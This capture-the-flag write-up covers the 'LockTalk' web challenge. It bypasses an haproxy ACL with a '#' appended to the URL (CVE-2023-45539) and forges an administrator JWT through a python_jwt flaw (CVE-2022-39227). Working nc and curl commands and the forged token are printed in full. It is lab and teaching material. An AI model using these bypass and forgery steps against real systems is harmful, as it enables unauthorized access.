[Web - medium] LockTalk
We are presented with a Python webapp. The Dockerfile downloads haproxy-2.8.1
, which is the load balancer in front of the webapp served by uwsgi
.
The webapp holds a chat between ransomware operators and their victims. As a guest we can use the get_ticket
endpoint, while accessing the chat
and flag
are for administrator role. However haproxy configuration blocks access to the get_ticket
endpoint.
frontend haproxy
bind 0.0.0.0:1337
default_backend backend
http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }
Looking for haproxy vulnerability, we have the conditions to exploit CVE-2023-45539. This allows to bypass the deny rule by adding a #
sign at the end of the URL. Going to the get_ticket
endpoint will get us a valid JWT token.
@api_blueprint.route('/get_ticket', methods=['GET'])
def get_ticket():
claims = {
"role": "guest",
"user": "guest_user"
}
token = jwt.generate_jwt(claims, current_app.config.get('JWT_SECRET_KEY'), 'PS256', datetime.timedelta(minutes=60))
return jsonify({'ticket: ': token})
Using haproxy vulnerability to bypass the ACL and access this endpoint, we get our JWT back.
$ printf "GET /api/v1/get_ticket# HTTP/1.1\r\nhost: whatever\r\n\r\n" | nc -vw1 94.237.49.197 41543
Connection to 94.237.49.197 port 41543 [tcp/*] succeeded!
HTTP/1.1 200 OK
content-type: application/json
content-length: 554
server: uWSGI Server
{"ticket: ":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwMDkyMjEsImlhdCI6MTcxMDAwNTYyMSwianRpIjoiNzZ2OFMwYks1MERLRXVLME1ZejRMZyIsIm5iZiI6MTcxMDAwNTYyMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X\
3VzZXIifQ.kmmwXY60Habyu5qAGy-Ra_gD1VT6xmwq9QCr9weCtUVBIetE4ompTBxqTdy_KvvPzzFzYFa9XPAKnfoD4Z9luAFagR9vDNjqXJgmBmXil4dgR0UV0JZoOTURvtj0onv3pcDqiPHrcqO1HqEQ44QfLC0U0uJGbe1HDWLyvhgrgVPtNFF1eEqSu9pYXTjb_\
OfILkMxOKCv0mEQViOWIzic0CBmS5PlJ8XU5dNFITjV21K4AWFj8GWsC_tfhoVQ7Hyz0yFqGcmzsZcy9PkpwDefB9Fbz2VLjxvWBcwu2y4SlefJZD9UtNjC-bK3wkWwKgwTm8lBDzNZO4jZ587Q_S-9Mg"}
From there we need to find a way to escalate our guest claim into an administrator one. The library used to validate jwt is python_jwt
especially from this middleware.py
snippet.
import python_jwt as jwt
[...]
def authorize_roles(roles):
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
token = request.headers.get('Authorization')
if not token:
return jsonify({'message': 'JWT token is missing or invalid.'}), 401
try:
token = jwt.verify_jwt(token, current_app.config.get('JWT_SECRET_KEY'), ['PS256'])
user_role = token[1]['role']
if user_role not in roles:
return jsonify({'message': f'{user_role} user does not have the required authorization to access the resource.'}), 403
return func(*args, **kwargs)
The version used is 3.3.3
which is vulnerable to CVE-2022-39227 and has a PoC is available
$ cat conf/requirements.txt
uwsgi
Flask
requests
python_jwt==3.3.3
Using that Python PoC, we can reuse our "role": "guest"
claim JWT to modify it with a "role": "administrator"
claim.
$ python cve_2022_39227.py -j 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwMDkyMjEsImlhdCI6MTcxMDAwNTYyMSwianRpIjoiNzZ2OFMwYks1MERLRXVLME1ZejRMZyIsIm5iZiI6MTcxMDAwNTYyMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.kmmwXY60Habyu5qAGy-Ra_gD1VT6xmwq9QCr9weCtUVBIetE4ompTBxqTdy_KvvPzzFzYFa9XPAKnfoD4Z9luAFagR9vDNjqXJgmBmXil4dgR0UV0JZoOTURvtj0onv3pcDqiPHrcqO1HqEQ44QfLC0U0uJGbe1HDWLyvhgrgVPtNFF1eEqSu9pYXTjb_OfILkMxOKCv0mEQViOWIzic0CBmS5PlJ8XU5dNFITjV21K4AWFj8GWsC_tfhoVQ7Hyz0yFqGcmzsZcy9PkpwDefB9Fbz2VLjxvWBcwu2y4SlefJZD9UtNjC-bK3wkWwKgwTm8lBDzNZO4jZ587Q_S-9Mg' -i 'role=administrator'
[+] Retrieved base64 encoded payload: eyJleHAiOjE3MTAwMDkyMjEsImlhdCI6MTcxMDAwNTYyMSwianRpIjoiNzZ2OFMwYks1MERLRXVLME1ZejRMZyIsIm5iZiI6MTcxMDAwNTYyMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ
[+] Decoded payload: {'exp': 1710009221, 'iat': 1710005621, 'jti': '76v8S0bK50DKEuK0MYz4Lg', 'nbf': 1710005621, 'role': 'guest', 'user': 'guest_user'}
[+] Inject new "fake" payload: {'exp': 1710009221, 'iat': 1710005621, 'jti': '76v8S0bK50DKEuK0MYz4Lg', 'nbf': 1710005621, 'role': 'administrator', 'user': 'guest_user'}
[+] Fake payload encoded: eyJleHAiOjE3MTAwMDkyMjEsImlhdCI6MTcxMDAwNTYyMSwianRpIjoiNzZ2OFMwYks1MERLRXVLME1ZejRMZyIsIm5iZiI6MTcxMDAwNTYyMSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9
[+] New token:
{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwMDkyMjEsImlhdCI6MTcxMDAwNTYyMSwianRpIjoiNzZ2OFMwYks1MERLRXVLME1ZejRMZyIsIm5iZiI6MTcxMDAwNTYyMSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAwMDkyMjEsImlhdCI6MTcxMDAwNTYyMSwianRpIjoiNzZ2OFMwYks1MERLRXVLME1ZejRMZyIsIm5iZiI6MTcxMDAwNTYyMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"kmmwXY60Habyu5qAGy-Ra_gD1VT6xmwq9QCr9weCtUVBIetE4ompTBxqTdy_KvvPzzFzYFa9XPAKnfoD4Z9luAFagR9vDNjqXJgmBmXil4dgR0UV0JZoOTURvtj0onv3pcDqiPHrcqO1HqEQ44QfLC0U0uJGbe1HDWLyvhgrgVPtNFF1eEqSu9pYXTjb_OfILkMxOKCv0mEQViOWIzic0CBmS5PlJ8XU5dNFITjV21K4AWFj8GWsC_tfhoVQ7Hyz0yFqGcmzsZcy9PkpwDefB9Fbz2VLjxvWBcwu2y4SlefJZD9UtNjC-bK3wkWwKgwTm8lBDzNZO4jZ587Q_S-9Mg"}
Example (HTTP-Cookie):
------------------------------
auth={" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwMDkyMjEsImlhdCI6MTcxMDAwNTYyMSwianRpIjoiNzZ2OFMwYks1MERLRXVLME1ZejRMZyIsIm5iZiI6MTcxMDAwNTYyMSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAwMDkyMjEsImlhdCI6MTcxMDAwNTYyMSwianRpIjoiNzZ2OFMwYks1MERLRXVLME1ZejRMZyIsIm5iZiI6MTcxMDAwNTYyMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"kmmwXY60Habyu5qAGy-Ra_gD1VT6xmwq9QCr9weCtUVBIetE4ompTBxqTdy_KvvPzzFzYFa9XPAKnfoD4Z9luAFagR9vDNjqXJgmBmXil4dgR0UV0JZoOTURvtj0onv3pcDqiPHrcqO1HqEQ44QfLC0U0uJGbe1HDWLyvhgrgVPtNFF1eEqSu9pYXTjb_OfILkMxOKCv0mEQViOWIzic0CBmS5PlJ8XU5dNFITjV21K4AWFj8GWsC_tfhoVQ7Hyz0yFqGcmzsZcy9PkpwDefB9Fbz2VLjxvWBcwu2y4SlefJZD9UtNjC-bK3wkWwKgwTm8lBDzNZO4jZ587Q_S-9Mg"}
Finally using that administrator JWT we can use the flag
endpoint.
$ curl -H 'Authorization: {" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwMDkyMjEsImlhdCI6MTcxMDAwNTYyMSwianRpIjoiNzZ2OFMwYks1MERLRXVLME1ZejRMZyIsIm5iZiI6MTcxMDAwNTYyMSwicm9sZSI6ImFkbWluaXN0cmF0b3IiLCJ1c2VyIjoiZ3Vlc3RfdXNlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTAwMDkyMjEsImlhdCI6MTcxMDAwNTYyMSwianRpIjoiNzZ2OFMwYks1MERLRXVLME1ZejRMZyIsIm5iZiI6MTcxMDAwNTYyMSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ","signature":"kmmwXY60Habyu5qAGy-Ra_gD1VT6xmwq9QCr9weCtUVBIetE4ompTBxqTdy_KvvPzzFzYFa9XPAKnfoD4Z9luAFagR9vDNjqXJgmBmXil4dgR0UV0JZoOTURvtj0onv3pcDqiPHrcqO1HqEQ44QfLC0U0uJGbe1HDWLyvhgrgVPtNFF1eEqSu9pYXTjb_OfILkMxOKCv0mEQViOWIzic0CBmS5PlJ8XU5dNFITjV21K4AWFj8GWsC_tfhoVQ7Hyz0yFqGcmzsZcy9PkpwDefB9Fbz2VLjxvWBcwu2y4SlefJZD9UtNjC-bK3wkWwKgwTm8lBDzNZO4jZ587Q_S-9Mg"}' 'http://94.237.49.197:41543/api/v1/flag'
{"message":"HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}"}